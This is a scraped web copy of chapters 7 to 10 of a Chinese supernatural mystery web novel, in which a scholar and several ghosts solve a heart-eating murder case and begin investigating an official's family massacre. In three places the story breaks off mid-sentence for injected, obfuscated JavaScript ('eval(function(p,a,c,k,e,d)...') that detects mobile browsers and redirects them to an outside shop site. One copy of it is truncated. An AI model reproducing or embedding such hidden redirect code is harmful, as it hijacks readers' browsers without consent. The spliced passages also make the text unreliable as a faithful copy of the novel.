《儿子你好,我是你娘》 7. 阴阳杀(七) 徐寄春循声向上看—— 墙头之上,一道人影负手而立。 日行已西,暮云合璧,流金赤紫橘红交错。 衣袂在晚风里翻卷,那一袭红袍,映得残阳都似失了颜色。 仰头的徐寄春与低垂视线的人影目光交汇。 徐寄春紧张地吞咽口水,人影却好整以暇地掸了掸衣袖,一脸慈爱道:“儿子,我想起来了,我确实是你爹。对不起,爹来晚了!” 刀锋已然死死抵住徐寄春的颈侧,倒地的十八娘破音嘶吼:“贺兰妄,你能不能快点救人!” 闻言,贺兰妄大手一挥。 暗巷明明一丝风也无,可立在徐寄春面前的蒙面男子,却如同被一阵狂风卷起,随即又似悬丝傀儡般,直挺挺朝着地上重重砸落。 蒙面男子倒地不起,一声不似人声的惨嚎在暗巷回荡。 徐寄春拾起一旁的短刀,走过去蹲下身,一把扯下他蒙面的黑布。 一个中年男子的脸完全显露出来。 全身不停袭来的剧痛,让他的脸孔狰狞扭曲得不成人形。 面对徐寄春的逼近,他牙关战栗,双手在地上徒劳地抓挠。 贺兰妄跳下墙头,定睛一看,脱口而出:“啧,这不是礼部侍郎薛怀光吗?” “薛大人,果然是你。” 血水混着冷汗糊了满脸,薛怀光的身体像筛糠一样剧烈地抖动着。 对于徐寄春的话,他置若罔闻,只怔怔望着墙角处,断断续续的话语从他的喉咙里蹦出。 一人两鬼皆不知他的意思。 徐寄春起身去找官差,却在走了两步后猛然停下。 阮清商曾说:阮漱玉受伤当日,暗巷中还有一个男子。 左右的吵闹声停下。 顺着十八娘惊惧的目光,徐寄春低头看向自己的胸前。 一只手,一只纤白如骨的手正缓缓探向他胸膛下搏动的所在。 而他的眼中,骤然浮现出一个人影。 一个形销骨立、辨不出男女的人。 “贺兰妄,你想想法子啊!”左边的十八娘急得大哭。 “我的法术突然伤不了凡人了!”右边的贺兰妄同样心乱如麻。 危机迫近,徐寄春的左手悄然滑入宽大的衣袖深处,指腹焦急地摸着内衬中的每一寸。 他在找一张符纸,一张据说能除妖诛鬼甚至降仙的符纸。 然而,就在他摸到符纸之前,一声惨叫响彻暗巷。 几点血珠溅到他的脸上,徐寄春后知后觉低头,只见自己的衣袍上已绽开几朵暗红血点。 可那些鲜红的血并非来自他,而是面前这个握着断腕的人。 一个耳熟的声音响起:“薛砚,你死到临头,还敢伤我……的子安。” 徐寄春向左一瞥,陆修晏提着一把滴血的剑,正朝他咧嘴傻笑。 “陆三……明也,多谢。” “子安,都是一家人,你不必与我客气。” 暗巷出口涌进来无数的官差,为首之人正是武飞玦。 走近了见徐寄春无事,他这才放心:“来人,将人犯薛怀光与薛砚带走。” 薛怀光挣扎着起身,向儿子薛砚跑过去,将其死死护在身后。 任凭官差们如何拉拽,薛怀光始终不肯挪动半步。 武飞玦信步走过去,面露鄙夷:“薛怀光,你难道能护他一辈子?整整五条人命,你和他都得死。” 薛怀光惨白的脸上流露出一丝笑意:“吾儿乃文曲星下凡,只要再吃一颗人心,他便能得道飞升,重返天庭。” 武飞玦冷哼一声,看向薛怀光身后那个羸弱的薛砚:“疯子!你家下人已向本官供认,薛砚身患胸痹之症,你自小喂其食鸡心鸭心,妄想以心补心……” “你才是疯子!”薛怀光高声截断武飞玦的话,气急败坏地捂住薛砚的耳朵,“吾儿心窍将满,只差最后一颗心,便功成了!功成了!” 他的儿子生下来,便面青唇紫,周身发绀。 郎中断言他的儿子活不过三岁,他遍寻名医,最终求得一张“以心补心”的药方。 那些心,被儿子一颗颗生啖入腹。 果然,儿子的心悸气短消失了,得以平安活到及冠之年。 及冠那日,儿子告诉他:“爹,我其实是文曲星转世,这一世下凡历劫,幸得爹护我周全。此番劫满,天庭急召,只差九颗鲜活心血,便可重列仙班,永享无极。” 为了助儿子重返天庭,他下朝之后便去城外学习杀猪。 猪杀够了,他转向杀人取心。 第一个绣娘,儿子嫌弃她是女子,不想吃她的心。 不吃女子便吃男子,他随即诱骗乞儿带到城外空宅取心。 乞儿的心吃了三颗,儿子说他们的心没有味道。 春闱在即,他看着从他眼前走过的无数举子。 那一颗颗被书香墨香浸透的心,缭绕着文脉清气,澄澈透亮,定能襄助儿子御风而上,直抵仙阶。 “武飞玦,你毁了吾儿仙路,天必诛之!还有你们……你们都会有报应的!” 武飞玦懒得与这种疯子废话,揪住他的衣领便往外拖。 父子即将分开之际,薛砚诡异地笑了笑:“爹,最后一颗心,你给我吧。” 话音未落,一只手洞穿薛怀光的胸膛。 五指如钩狠狠攥住那颗搏动的心,硬生生将它连根扯出。 血淋淋的心被薛砚塞入口中,喉结滚动,囫囵吞下。 惊骇之下,众人退后几步。 谁知薛砚却忽地倒地,发出一声闷响。 未及眨眼,一只硕大的黄鼠狼自他瘫软的躯壳中挣脱而出,裹着一股浓烈的血腥味跃上墙头。 逃跑前,黄鼠狼不屑地看向地上死不瞑目的薛怀光:“愚蠢的凡人,你儿子早死了。” 天色暗如蓝,觅食归来的鸟与一道硕大黄影,悉数消失在远处的霞光中。 千门万户檐下的灯笼依次亮起,夜至。 贺兰妄恍然大悟:“怪不得我伤不了他,原来是个妖怪。” 十八娘扭头盯着他,细细打量:“为何你有法力,我却没有?” “我的法力,全是用冥财换的。”贺兰妄揽过她的肩往外走。 十八娘眉头紧蹙,觉得他在说谎,又觉得他说得在理。 犹豫再三,她抛下贺兰妄,扭头跑向财大气粗的陆修晏:“陆三……明也,那箱金元宝,你还送我吗?” 陆修晏眉眼弯弯:“送!” 一旁的武飞玦被他这一声吓得心跳如雷,转身见他对着墙壁傻笑,赶忙一巴掌拍到他背上:“你笑什么?” 陆修晏昂首挺立:“没什么。” 搞定陆修晏,十八娘又跑到徐寄春面前:“子安,金元宝不用烧,你摆着我的牌位前,我自会收到。” 徐寄春点点头,顺便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16532140|186394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 催她离开:“你不是怕黑吗?快走吧。” 十八娘:“我先陪你回客店。” “走吧。”手臂上的伤并不碍事,徐寄春提步往前走。路过贺兰妄身边,他问道,“你要一起走吗?” “一家人,当然得一起走。” “……” 拐过正平坊,便是高升客店所在的敦行坊。 半道,十八娘不解道:“子安,你怎会被他们骗去暗巷?” 徐寄春无奈地指指后腰处被利刃划开的衣袍:“你走后不久,有人拿刀威胁我去修行坊。横竖逃不过一个死字,我便想去暗巷问清楚再死。” 十八娘:“那你问清楚了吗?” 徐寄春:“没有。正准备问,你便来了。但我想清楚了,礼部侍郎主管科举,而读书人努力一生,不过为了四字:功名利禄。” 科举前后,一个来自礼部侍郎的小道消息,足以让十年寒窗的举子们深信不疑。 人人皆道自己是天眷所钟,于是一步步踏入薛家父子布下的死局。 行近客店,前方一所宅邸门前观者如堵,将窄巷塞得寸步难行。 十八娘爱凑热闹,率先飘向人群。 等她飘走,徐寄春朝身边的贺兰妄拱手道谢:“多谢贺兰兄相救。” 贺兰妄:“爹救子,天经地义。” 徐寄春:“你不是我爹,我已与十八娘说清楚。” 贺兰妄扯出一抹不羁的笑:“做不成你亲爹,我可以做你继爹。” “……” 不远处的十八娘一个劲朝他们招手,徐寄春见状,大步走过去。 等他费力挤进人圈中心,竟见方才那只逃跑的黄鼠狼,正被一个道士踩在脚下。 道士眉清目朗,穿一身洗得发白的青色道袍。 腰间左悬天蓬尺,右挂葫芦。背负双剑,一把桃木剑,一把长剑。 眼见围观的百姓越来越多,道士得意开口:“小道乃清虚道长座下首徒,今日路过宝地,忽见墙隅黑气盘旋,妖邪作祟。小道当即剑指妖物,将其擒获。” 百姓们明显不信:“道长,这就是一只稍大点的黄鼠狼而已,哪来的妖邪?” 道士抽出桃木剑,一剑捅进黄鼠狼的后腿。 黄鼠狼当即疼得凄声大叫:“死道士,本大王杀了你!” “黄鼠狼说话了!” “妖怪啊!” 百姓们四散逃命,道士心急火燎:“大家别跑啊,买张平安符,保管诸邪不侵!” 黄鼠狼披着薛砚的人皮作恶多年,最后却落到一个卖平安符的道士手上。 徐寄春哑然失笑,喊上两个鬼继续往前走。 未走几步,道士提着黄鼠狼追上来:“善人,买平安符吗?你们夫妻二人一起买,我可以算便宜些。” “夫妻二人?”徐寄春环顾左右,确定自己身旁只十八娘一个女鬼后,他笃定道,“你能看见鬼。” 道士一脸心虚:“看不见。” 十八娘抱着手围着道士打转,越看越觉得眼熟:“我想起来了,你是不距山天师观的小道士钟离观!好啊好啊,你能看见我,却不告诉我!” 一听见自己的名字,钟离观双腿发颤,脚底抹油跑了个没影。 直到一口气跑回天师观,他仍心有余悸。 往日他只能听见女鬼十八娘的声音,今日不知为何竟能瞧见她。 “难道我的修为已登峰造极?” 8. 鬼新娘(一) 五月五日,恶月恶日。 阴阳争,死生分。 黑云翻墨遮山,疾风甚雨抽打着残破窗纸。 窗外风声幽咽,惹人不安。 房内半截白蜡明灭,烛泪滚落,蜿蜒堆积,晦暗烛火扭曲出无数模糊的怪影。 男子坐在光影狂乱的最深处,声音沙哑低缓却字字清晰:“我曾见过鬼新娘。” 闻言,满桌霎时噤声。 “有一年盂兰盆节,我走夜路迷了方向,却在荒郊野岭里撞见一座朱门华宅。门外站在一个面色青白的老翁,不由分说拉我入内。我进门后,瞧见满室喜字,才知宅中今夜有喜事。席间,我被老翁强灌了三杯酒……” “之后呢?” “之后,有人为我披上喜袍,两个无脸纸人将我架到厅中拜堂。谁知正要拜堂时,红烛骤绿,穿堂风卷着纸钱灰刮过来。我脊梁一寒,一把掀开新娘头上的埋头红,那哪里是个人,分明是个一身红衣的骷髅鬼!” 嗬—— 抽气声与喘息声此起彼伏。 破窗中钻进的风,扯得烛火扭动起来。 白壁之上映出一只手,张牙舞爪地扑向围坐一堂的男女。 “鹤仙,别闹。” 十八娘不耐烦地拂开搭在自己肩上的手,转向对面的男子催促道:“黄衫客,你已与鬼新娘拜堂成亲,最后如何脱身的?” 周遭陷入死寂,满桌目光悉数看向她的身后。 十八娘强作镇定,缓缓转动脖子。 就在她的身后,昏黄的灯笼光影下,一个相貌狰狞的男子正伫立着,咧开血盆大口,獠牙毕现,无声狞笑。 “有鬼啊!” 灯笼亮起,房中顿时亮如白昼。 孟盈丘尴尬地站在男子身后,看着房中抱头鼠窜的几个鬼。 “相里大人,今早雨大,他们才不曾出门。”抢在男子发怒前,她硬着头皮解释。一口气说完,她拉起躲在角落的秋瑟瑟,“瑟瑟,昨日我教你的吉祥话,你快说给相里大人听。” 秋瑟瑟手脚发颤,仰面望着高大的男子嚎啕大哭。 孟盈丘一把捂住她的嘴,勉强笑道:“相里大人,今日端阳,浮山楼敬祝您角黍裹金,福寿安康。” “孟大人,若你有心无力,本官不介意替你管浮山楼。” “下官谨遵教诲。” 男子身形一晃,倏忽不见。 直至过了半个时辰,十八娘与摸鱼儿方敢从桌底爬出来。 十八娘没好气道:“这相里闻总是神出鬼没,专吓我们这群好鬼。等我哪日飞升成仙,定要把他贬去十八层地狱。” 束发的碧玉簪没了踪影,摸鱼儿只好再次钻进桌底,一边胡乱摸索着,一边高声附和:“相里闻又不是没进过十八层地狱。要我说,就该把他贬去人间,重新历一场劫,什么情劫、雷劫……全加上!” 孟盈丘斜瞥两鬼一眼:“再胡说八道,你俩滚去与鹤仙同住。” 相里闻只是冷漠得有些可怕,鹤仙却是个实实在在的疯鬼。 十八娘一向能屈能伸,立马闭嘴,只余一双眼睛滴溜溜打转。摸鱼儿撇撇嘴,那副“我偏要说”的得意劲刚跃上眉梢,可一抬头对上鹤仙的眼睛,瞬间偃旗息鼓。 贺兰妄信步走到十八娘身边 :“今日我无事做,不如陪你去看儿子?” 十八娘面露嫌弃:“不要。你的话太多,迟早露馅。” 她曾听苏映棠一言:这世上有些贪心鬼,专好抢夺同道的供奉人。 自从贺兰妄得知她假冒徐寄春亲娘后,每日形影不离地跟着她,背着她与徐寄春窃窃私语,有说有笑。而且,昨日徐寄春无意间向她透露,打算改日为贺兰妄立牌位。 贺兰妄嘴上说着保护她,背地里却密谋抢她的供奉人。 是可忍孰不可忍,十八娘今日抵死不让贺兰妄随行入城。 贺兰妄见她怒气盈面,只道是她遭了相里闻的训斥,心里憋着一团火又无处发泄。 她一再拒绝,他只好随摸鱼儿回房,拣了卷书看。 十八娘等他进房,赶忙摸去二楼黄衫客的房间:“黄衫客,你快说说,你是怎么从鬼新娘手上逃脱的?” 黄衫客招手让她靠近:“鬼新娘唯爱年方二八的美男。我遇见她时,已三十有余。呜呼哀哉!我不嫌她是鬼,她却嫌我太老,一脚将我踹下床!” 得到鬼新娘的结局,十八娘转身开心出门。 大门阖上,浮山楼再次归于平静。 孟盈丘站在三楼,眺望远方。在她身后的女子,急迫地问道:“相里闻难得来一趟,你为何不说?” “再让她高兴几日吧。” “阿箬!” 三楼的争吵声,并未闹出太大的动静。 这里是浮山楼,每间房都住着一个鬼。 住在三楼的女鬼,常在二楼男鬼的厢房里游荡。 住在三楼的男鬼,心心念念住进一楼女鬼的居室。 这日,三楼的两个鬼在同一间房遇见。 “你滚。” “你滚。” “要不我滚?”摸鱼儿站在两鬼中间,小心翼翼开口。 “滚!” 摸鱼儿滚了,滚去城里,遇见在城中闲逛的十八娘。 他笑容满面迎上去,她倒好,白眼一翻,头也不回地跑了。 “我看起来很好欺负吗?” 他决定了:从今日起,便做一个断情绝爱的狠心鬼。 十八娘绕路跑出很远,确定摸鱼儿没有跟上来后,才放心去找徐寄春。 上月底,徐寄春从高升客店搬去宜人坊的一间小宅子,打算潜心准备六月中旬的吏部关试。 京城居之不易,房子小位置偏,每月赁金却要四百文。 进门前,十八娘特意站在门外喊了一声:“子安,我进来了。” 门从内打开,见她孤身一鬼站在门口,徐寄春好奇地朝她身后张望:“贺兰兄今日没来吗?” 徐寄春是穷书生,单是供奉她一个鬼已极为艰难。 十八娘生怕他为贺兰妄另立牌位,赶忙插话:“他在房中数供品,城中很多人抢着供奉他。” “是吗?”徐寄春侧身让她进房,惋惜道,“我与他相识一场,深感志同道合,昨日他还主动提出陪我去棺材铺。” 贺兰妄果然想抢徐寄春! 十八娘眼珠子一转,计上心头:“子安,我与你说一个秘密,你千万别告诉旁人。” 徐寄春拿起案上的话本,拖过椅子,挨着她坐下:“你说吧。” 头回做背地里说人坏话的小人,十八娘支支吾吾半晌,始终说不出口。 徐寄春倒也不急,兀自翻书看书,不时说几句贺兰妄的好话。 诸如: “我瞧他疾恶如仇,对你也不错。” “他前日与我说,他有数不清的冥财,还说有鬼时常找他借钱。” 本是同楼鬼,相煎何太急。 枉她从前觉得贺兰妄是热心肠的好鬼,结果原是个专揭他人短处的讨厌鬼,甚至暗示她是借钱不还的穷鬼。 气愤之下,十八娘脱口而出:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“因为他老是吓我!” 在这肃穆之地,徐寄春只得强忍住心底翻涌的笑意,拿起一炷香,奉在转轮王左侧那座寂寂无名的泥像座前:“他今日收了我的香火,日后肯定不会再为难你了。” “我没你这般胳膊肘往外拐的儿子!” 跪拜完十殿阎王,十八娘随徐寄春踏出殿门,却远远瞥见一个眼熟的人影。她当即逃之夭夭:“子安,我在外面等你。” 她跑了,徐寄春便独自在庙中上香。 出庙前,他买下两枚香囊。一枚绣着缠枝莲,一枚绣着宝相花。 十八娘在庙外角落等候许久,才等到徐寄春出庙:“子安,这里。” 徐寄春循声走过去,见她战战兢兢躲在门板后,关切道:“庙中符纸灼伤了你吗?” “我是地府管的鬼,符纸伤不了我。”十八娘唉声叹气,“我跑,是因我看见仇人在庙中罢了。” 地府管的鬼? 徐寄春眉头紧锁:“鬼难道还要分何人所管?” 十八娘催他去洛水看龙舟,边走边与他解释:“浮山楼归地府管,我不就是地府管的鬼吗?我们和旁的鬼不同,不能上凡人的身,每日还得做好事攒功德。” “你的仇人又是谁?” “相里闻!你方才执意上香的那个判官,便是他!” 9. 鬼新娘(二) 相里闻从不会现身人间,今日却偏偏出现在城隍庙。 十八娘疑心是徐寄春上香引来相里闻,一路走一路哭诉:“今早我们正讲鬼故事呢,他故意拍我的肩膀吓我。你倒好,明知他为难我,还给他上香,又把他招来吓我。” 她抱怨一路,徐寄春笑了一路。 “我很好笑吗?” “不是你……我就是觉得很好笑。” 一群鬼讲鬼故事被一个鬼差吓到,实在令人忍俊不禁。 闻言,十八娘不满地哼了一声。 见他笑得前仰后合,她气得跺了跺脚,往前飘去,打定主意再不理他。 徐寄春笑得直不起腰,好不容易缓过劲,赶忙去追她。 路过的百姓见他边跑边挥手,只当是个糊涂醉汉。 今日的洛水河边,属实人潮如沸,京中大半百姓皆聚于此。 一鬼一人一前一后跑到时,桨起桨落,数十艘龙舟正在河中你追我赶。 十八娘飘去顺王所在的幄帐,站在聒噪的顺王旁边仅看了一小会儿,又落寞地飘回徐寄春身边:“顺王太吵了,但我也想如他那般纵情吵闹……” 每回撞见热闹事,她总是忍不住想与人诉说。 偏偏她是鬼,除了浮山楼的同类,无人看见她,更无人与她说话。 “我不喜欢吵闹,我们去城外放纸鸢吧。”徐寄春从她的语气里听出一丝苦涩,干脆挤出人群。 “每年京中赛龙舟最是无趣,回回都是顺王府赢。”十八娘点头应好,随他走去城外。 徐寄春回首,望向岸边唯一一顶奢华耀目的幄帐。 帐外,守卫森严,如铁壁般围成一圈。帐内,一袭锦袍的男子端坐其中。 “他就是顺王吗?” “对。顺王府还有一位老顺王,特别好色。” 闲扯到顺王府的秘事,十八娘的话匣子打开:“如今的顺王是老顺王的小儿子,原本王位落不到他头上。谁知老顺王的两个儿子,前几年全死了,只剩一个他。” 徐寄春低声说出他的猜测:“莫非是顺王为了王位弑兄?” 十八娘摆摆手:“非也。是因为前两个儿子与老顺王一样好色,兄弟为争一女,相斗间失足坠地,双死。” 余下的路程,十八娘将顺王府及京中四大国公府的种种秘闻尽数道来。 徐寄春越听越好奇:“你每日在城中闲逛听墙角,如何攒功德?” 十八娘理直气壮:“阿箬说,鬼每日在城中闲逛,就是在攒功德。” “阿箬是谁?” “管我们的拘魂使。” 徐寄春似懂非懂地点点头,十八娘小心问道:“子安,你不怕鬼吗?” 她冒充他的亲娘,他不惧她,尚在情理之中。 可她每回瞧他待贺兰妄,亦是全无惧色。 城外天地辽阔,徐寄春眉目舒展:“在遇见你之前,我见过很多鬼。” 十八娘急忙跑到他跟前:“你也是阴阳眼?那……那我与你相认当日,你一早便看见我、听见我说话了吗?” 徐寄春低头看她一眼:“我不是阴阳眼,只是横渠镇住着很多鬼罢了。每日念书时,我既要听夫子讲,又要听鬼唠叨。不过自走出横渠镇,我便看不到他们,听不到他们说话了。” 听他这么一说,十八娘长舒一口气,彻底放下心来。 当夜叫醒他之前,她曾自言自语说了不少话,其中就有几句关于如何编故事骗他的言语。 “哈哈哈,我怕扰你读书,才未同那群鬼一起去寻你。” “十八娘的爱子之心,我自是明白。” 城外放纸鸢的多是总角孩童,徐寄春自觉已过玩闹的年纪,索性寻到一处无人的青草坡,枕着手臂仰面躺下,闲看流云。 十八娘挨着他躺下,絮絮叨叨与他商量:“子安,你若是缺钱,日后供奉一碗猪蹄即可。” 徐寄春:“我有钱。” 十八娘腾得起身,胡乱抹泪:“你连好宅子都赁不起,何必每日浪费钱买三碗猪蹄。” “你打听到了吗?为何明也送的金元宝,你收不到?”徐寄春一时语塞,不知如何向她解释自己尚有余财且余财丰厚,只好话锋一转,问起供品一事。 十八娘叹气:“问过了。阿箬劝我收起小心思,地府不是傻子。” 话音刚落,徐寄春放声大笑。 十八娘涨红了脸,气得扑到他身上乱锤:“不准笑。” 她越打,他笑得越大声。 “你让他别送了,反正我也收不到。”十八娘认命似地躺回草地。 那一箱箱金元宝,不知能抵多少冥财,真是可惜。 “等我当上官,便送你一箱金元宝。” “行!” 赶在闭门鼓敲响前,十八娘送徐寄春回城。 一人一鬼在长夏门分别,约定明日再会。 十八娘送走徐寄春后,沿着流经浮山的伊水,慢腾腾走回浮山楼。 岂料,她刚踏入楼内,苏映棠从暗处闪出,拉着她直奔三楼。 门一关,扑通一声闷响。 风水轮流转,这回轮到苏映棠跪地拜师:“师父在上,请受徒儿一拜!” 事出反常必有妖,十八娘警惕地环顾房中四角。 她大胆猜测,苏映棠的走狗摸鱼儿正藏在暗处,伺机嗤笑她。 苏映棠抬头见她久不动作,干脆起身抱着她的胳膊娇滴滴撒娇:“好十八娘,你救救我吧。张夫人的亲妹妹死了,她闹着要自尽!” 张夫人是苏映棠的供奉人,已供奉她多年,对她最是大方,有求必应。 往年托苏映棠的福,十八娘偶尔也能从张夫人那里,捞到几身时兴的新衣裳。 眼下听说张夫人的亲妹妹死了,十八娘惋惜道:“唉,张夫人行善多年,妹妹却先她而去。” “她妹妹一家被人杀了,死得特别惨。她不信官差只信我,拜托我帮她找出真凶。我对查案一窍不通,只能求你帮忙。”苏映棠听她语气缓和,立马扶她坐下。 他们受人供奉,自然得为人解忧。 供奉人提的要求千奇百怪,她咬牙一一应下,但唯独查案,她是真的一无所知。 往日但凡有案子查,她都推给十八娘。 她有钱,十八娘缺钱。 合作多年,她们姑且也算默契十足。 可如今十八娘有了供奉人,似乎已不再缺钱? “十八娘,我不会亏待你的。”苏映棠试探着开口。 “我要一百两冥财 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16532142|186394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”十八娘伸出手。 不过一百两,苏映棠俏声应道:“今日先付你五十两,事成再给你五十两,如何?” “成交!” 十八娘收了五十两冥财,哼着小曲儿下楼回房。 房内诸物,俱如昨日。 八仙桌上三碗猪蹄,架子床上一床被褥。 可十八娘今日目光所及,却见瓷瓶内的海棠花枝上,无端多了一枚香囊。 她走过去,随手拿下香囊。 面上绣着缠枝莲,里面装着芳香避秽的艾草与菖蒲等物。 她疑心是孟盈丘所送,特地跑到三楼道谢。 孟盈丘忙着与任流筝算账,堪堪扫了一眼香囊便道:“不是我送的。” 十八娘不依不饶追问:“是楼里的其他鬼吗?” 任流筝嫌她吵,冷声催她回房:“他还送了一盘粽子给你。” “他是谁?” “徐寄春。” 十八娘开心地跑了,跑回房关上门,将香囊系在裙腰,立于铜镜前左右顾盼。 一盘粽子,她美滋滋吃了三枚。再分与秋瑟瑟两枚、鹤仙一枚。 “十八娘,我祝你早日投胎、早遂心愿、早觅佳偶,早生贵子。”秋瑟瑟头回吃上她的供品,吉祥话一句接一句。 一旁的鹤仙狠狠咬了一口粽子,阴阳怪气道:“今早你若是口齿伶俐些,我们何至于被相里闻骂一顿。” 秋瑟瑟嘴巴扁起,豆大的泪珠成串滚落。 伴随着第一声尖锐的哭声,她顺势躺在地上,双手乱抓双脚乱蹬。 十八娘见势不对,端起空盘便跑。 独留鹤仙站在秋瑟瑟身边,无语地别过脸。 一炷香后,满楼回荡孟盈丘的怒吼—— “谁又把她弄哭了!” “鹤仙,你滚上来!” 十八娘在孟盈丘与鹤仙的争吵声中,沉沉睡下。 翌日,星月渐隐,东方初透蟹壳青。 赶在贺兰妄出门前,十八娘身形一闪溜出浮山楼,脚不沾地直奔徐寄春的小宅子。 自四岁开蒙,青灯黄卷十余载,徐寄春早已习惯天未破晓便披衣起身。 窗前案头残烛犹自摇曳,他已借着微光翻开书卷。 往常,总要再过一个时辰,门外才会响起女鬼的声音。 可今日不同,他才翻过三页,一道熟悉的女声如约而至:“子安,我来了。” 徐寄春走过去为她开门:“你今日怎这么早?” “子安,香囊我收到了。”十八娘笑盈盈晃晃腰侧的香囊,先道谢再说明来意,“我今日要去查案,大概下午才能来找你。” “鬼……查案?”徐寄春脱口而出,语气中满是难以置信,“你查什么案子?” 晨风拂面凉,见他仅披了一件薄衫,十八娘推他进门。 等他关上门坐好,她才将苏映棠所说一五一十道来:“张夫人的妹妹死了,张夫人让蛮奴找出杀妹凶手,否则就自尽给她看。蛮奴不会查案,便花钱请我查案。对了,蛮奴就是苏映棠,张夫人则是她的供奉人。” 徐寄春听懂了,同时更感新奇:“可你是鬼,如何查案?” “我能飘进义庄看仵作验尸,等我看明白,就能找到凶手。” 10. 鬼新娘(三) “几月前,蛮奴的另一位供奉人柳夫人新寡,全靠我火眼金睛找出真凶。”十八娘伸出手指头,与徐寄春说起自己查过的几个小案子。 徐寄春并非不信她,上起挖心案中,几个关键线索皆来自她的提示。 他只是特别好奇,鬼为何要帮人查案? 思及此,他追问道:“你们帮人查案,是为了攒功德吗?” 十八娘摇摇头:“我们受人供品,便得为人解忧。若供奉人生气不上供,我们会过得很惨。” 徐寄春问出最后一个问题:“岂非我若有了烦恼之事,你也得为我分忧?” “嗯嗯!”十八娘用力点点头,再三承诺道,“子安,你放心。我是信守承诺的鬼,答应你的事,一定会做到。” 很快,徐寄春有了第一个烦恼。 一连读了十天书,他今日格外疲乏:“我想去城外走走,可惜没人作陪。” 十八娘热心提议道:“明也肯定在家,我去求他陪你。” 徐寄春蹙着眉头,有些不满意这个人选:“明也喜欢去校场练武,刀剑无眼,我怕受伤。” “贺兰妄?” “你昨日才说他喜欢男子,我担心我的安危。” “摸鱼儿?” “我与他不熟。” “蛮奴?” “男女授受不亲。” 认识的人或鬼,全说了一遍,徐寄春一概说不行。 十八娘垂头丧气:“我只认识他们……” “罢了,我自个去吧。义庄在城外,我们可同行一段路。”换好衣裳的徐寄春自屏风后转出,催促十八娘出门。 十八娘跟上他,委屈巴巴道:“我日后定多多结交人或鬼。” 徐寄春背着手走在最前面,语气平淡地问道:“张夫人妹妹死在何处?” 十八娘:“不庭山附近的桃木村,尸身放在不庭村义庄。” 徐寄春:“不庭山好玩吗?” 一听这话,十八娘赶忙手舞足蹈飘到他面前:“好玩!端阳前后,山下的不庭村每日都要祭龙头,今日正好是最后一日。” “听起来不错,我去瞧瞧热闹。” “我知道路,我带你去。” 届时,徐寄春在不庭村看龙头祭,她先去义庄看尸身,再去桃木村找线索。如此既能为他解忧,又不耽误帮苏映棠查案,简直两全其美! 一人一鬼一路说笑,到了城外不庭村。 十八娘引徐寄春去村头瞧新鲜,正要飘走时,却听他叹了一声:“人太多,有点闷。诶,十八娘,义庄的人多吗?” “不多,全是尸身。” “不错,我去义庄透口气。” 十八娘无法,只得陪他走去村尾的义庄。 徐寄春一路走一路自责:“我没耽误你查案吧?” 十八娘绽开笑颜:“没有,张夫人心善,给蛮奴留了十日。” 徐寄春:“张夫人?我昨日回城时,听闻司农寺卿秦大人一家三口离奇身亡。秦大人的夫人,似乎也姓张?” 十八娘:“对,秦大人的夫人便是张夫人的亲妹。张夫人与其妹乃是孪生,姐姐张宛娘嫁大理寺卿计修竹,妹妹张惠娘嫁司农寺卿秦融。” 多日前,徐寄春曾自十八娘处,闻知一桩关于秦大人的风月轶事。 不曾想多日后,他竟能亲眼见到这位一夜御双姝的秦大人。 自然,是一具尸身。 准确来说,是一具被砍得面目全非的尸身。 不庭村的义庄守备素来松弛,今日村口还有热闹,大半衙役一早便跑了个没影。 仅余二人坐于门首,伏案瞌睡,鼾声震天。 这间义庄,十八娘来过无数回,此番带着执意进去透气的徐寄春溜进去,委实轻而易举。 停尸房中尸身众多,皆以白布覆体。 徐寄春掀开数张覆尸白布,方找到秦融一家三口的尸身。 除了小儿子秦书彦,秦融与张惠娘破碎的尸身上遍布刀痕,刀刀见骨,几乎不成人形。 十八娘粗略一数,二人光上半身便有三十余道纵横交错的伤口。 每一刀都深可见骨,每一刀都恨不能剁碎了他们。 徐寄春俯下身,专注地扫过尸身每一寸皮开肉绽之处:“皮肉狰狞外翻,血色暗沉,血污狼藉,大半是生前刃伤。” 十八娘凑到秦融与张惠娘的手臂前:“可他们手上没有伤,看来他们没有反抗。又或许……” “他们无法反抗。” 一人一鬼异口同声道。 十八娘:“凶手力气很大,而且恨极了他们。” “张夫人的尸身上,有凶刃卷缺的痕迹。先死的应是秦大人,之后才是张夫人。”徐寄春挨个指向三具尸身,最后停在秦书彦过于消瘦的尸身上,“秦公子嘴唇发紫,更像是死于中毒。” 三具尸身,死后面容平静。 十八娘据此猜测:“如此剧痛都未蹙眉,他们死前应已不省人事。” 徐寄春附和道:“仵作已剖尸查验,也许已有定论。” 十八娘熟稔地走去桌案旁,向他招手示意:“仵作的手札在此。子安,你快来看。” 所有仵作的手札,尽数存置于此。 徐寄春翻检数十卷,总算找到秦家三人的验尸记录。 如他们所猜,三人生前所饮的茶水中掺有曼陀罗花汁。 凶手对下毒剂量拿捏极准,不致殒命,正好昏聩不醒。 而在验尸记录中,还有两条线索。 